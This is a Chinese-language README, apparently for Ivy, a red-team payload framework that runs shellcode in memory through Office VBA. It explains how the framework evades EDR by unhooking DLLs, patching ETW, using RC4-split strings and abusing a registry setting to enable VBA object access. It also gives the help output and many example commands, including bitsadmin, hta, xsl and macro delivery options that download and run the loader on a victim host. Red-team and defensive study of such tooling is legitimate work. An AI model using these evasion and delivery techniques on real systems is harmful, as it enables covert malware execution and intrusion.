要查看 Ivy 的最新版本或提交问题,请参考 https://github.com/Tylous/Ivy。
如果您想了解更多关于此框架使用的技术以及防御措施,请查看文章.
Ivy 是一个载荷创建框架,用于在内存中执行任意 VBA(宏)源代码。Ivy 的加载器通过滥用 VBA 对象环境中的程序化访问来加载、解密和执行 shellcode。这种技术尽可能地接近真正的无文件攻击,因为如今大多数无文件攻击都需要在磁盘上放置某种文件,从而绕过了基于签名的 VBA 代码检测规则。典型的 VBA 载荷具有以下特征:
通过纯内存运行,这些行为特征使得 EDR 更难检测到。
Ivy 的加载器使用 RC4 加密(AES 加密会导致大量膨胀,且 VBA 解密需要很长时间),然后拆分成单独的字符串,防止任何沙箱将这些字符串识别为应被调查的加密字符串。这也阻止任何解码机制将这些载荷识别为除垃圾字符以外的任何内容。
Ivy 的加载器首先执行注册表查询以启用“信任对 VBA 项目对象模型的访问”。此注册表键值存储在用户模式下,允许用户无需任何提升权限即可修改该值。注册表值从 0 设置为 1;如果注册表键不存在,Ivy 将创建它并设置值为“1”。启用此值后,允许从另一个进程对 VBA 对象环境进行程序化访问。
完成后,加载器将生成一个隐藏的 Excel 进程,并将加密字符串加载到 VBA 函数中。这是通过使用 ActiveX 模拟相同任务的 GUI 操作来完成的。这有助于绕过许多用于监视执行的传统控制。因此,解密函数和 shellcode 从一个内存缓冲区移动到另一个,从不触及磁盘。最后,加载器使用命令-GUI 调用并执行 run 函数,模拟在 VBA 的 GUI 面板中单击运行宏按钮的行为,开始解密函数,随后实际执行 shellcode。
重要
目标端点必须安装并激活 Microsoft Office 才能运行,因为 Ivy 依赖于滥用对 Microsoft Office VBA 环境的程序化访问。
这允许 Ivy 使用低级系统调用,通过直接引用内存地址和寄存器值间接地构建自己的 Windows 函数 WriteProcessMemory 版本。Ivy 可以在不调用任何内存更改 API 函数的情况下覆盖不可写的内存区域。这是因为 WriteProcessMemory 的一个特性:它会临时将内存区域的权限更改为可写(如果我们拥有足够的权限,由于我们拥有该进程)。它写入值并恢复原始权限,而不调用 VirtualProtect 函数,而是自动调用相关的系统调用(NtProtectVirtualMemory)。
Ivy 不使用自己的 NtWriteVirtualMemory 版本,因为临时更改内存权限的过程不会发生,这意味着特定内存地址的保护不会被修改,执行将失败。这是微软为使调试器更稳定而发布的“特性”。由于调试器希望动态修改内存,它们可以简单地修改一个区域,而不必执行多个任务。(有关信息,请参阅 devblogs.microsoft.com)
让我们看看 EDR 会看到的一系列事件:
一旦所有 EDR 钩子被清除,加载器便执行其正常操作以建立远程会话。
Ivy 通过清除常见系统 DLL 中的 EDR 钩子来解决此问题,这些 DLL 包括:
当在载荷类型 Inject 中使用 unhook 时,Ivy 的加载器会先清除 Office 进程中的 EDR 钩子,然后清除注入进程中的钩子。这确保两个进程都不存在钩子,防止父进程和子进程的任何遥测数据被发送到 EDR。
使用相同的清除钩子技术,Ivy 可以修补 ETW 函数,防止进程生成任何事件。ETW 利用内置的系统调用来生成此遥测数据。由于 ETW 是 Windows 内置的原生功能,安全产品不需要“钩住”ETW 系统调用来获取信息。因此,为防止 ETW,Ivy 修补了大量 ETW 系统调用,清空寄存器并将执行流返回到下一条指令。修补 ETW 现在是所有加载器的默认设置,如果您不希望修补 ETW,请使用 -noetw 命令行选项在您的加载器中禁用它。
Ivy 使用 Go 开发。
第一步始终是克隆仓库。在编译 Ivy 之前,您需要安装依赖项。要安装它们,请运行以下命令:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
然后构建它
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
使用 Ivy 生成加载器时,您需要生成 64 位和 32 位载荷,并使用 -Ix64 和 -Ix86 命令行参数输入它们。这是因为操作系统可能是 64 位,但运行的 Office 版本可能是 32 位;因此 Ivy 会在注入载荷之前检测要使用的合适架构。
此外,生成加载器时有两种载荷类型。第一种 Inject 执行进程注入攻击:生成一个挂起状态的新进程,将 shellcode 注入其中,然后恢复进程。虽然进程注入很方便且会生成非 Excel 进程,但 EDR 非常擅长检测创建挂起进程以注入的行为,这可能导致被抓。更隐蔽的选项是 Local,它将 shellcode 直接加载到当前 Office 进程中。Local 选项还具有避免检测的额外功能,利用对某些 Windows 系统调用的直接调用。这是因为 VBA 环境允许我们根据栈定义并调用确切的函数(前提是我们提前正确对齐了所有寄存器)。最后,Ivy 在此载荷类型中的加载器具有未记录的 shellcode 执行调用,使执行更难被捕获。
在 Inject 模式下,Ivy 会创建一个挂起状态的进程以注入 shellcode。根据系统是 32 位还是 64 位,它会生成不同的进程。Ivy 自带一些默认的进程名称,但可以通过 process32 或 process64 标志更改。指定路径时,请确保使用 \\ 作为路径分隔符。
首先,您应该始终使用 -stageless 参数。但是,如果您需要运行分阶段载荷,可以通过不使用 -stageless 参数来实现。当使用 -stageless 时,您可以使用原始 shellcode,但当您选择运行分阶段载荷时,对于 Inject 类型载荷,shellcode 必须格式化为 VBA,对于 Local 类型,shellcode 必须格式化为 C。
delivery 命令行参数允许您生成一个命令或代码字符串(在宏的情况下),以从远程源远程拉取文件到受害者主机。这些交付方法包括:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
目前存在一个已知问题,即清除远程注入进程的钩子时出现问题。当前的临时解决方法是加载 unhook BOF。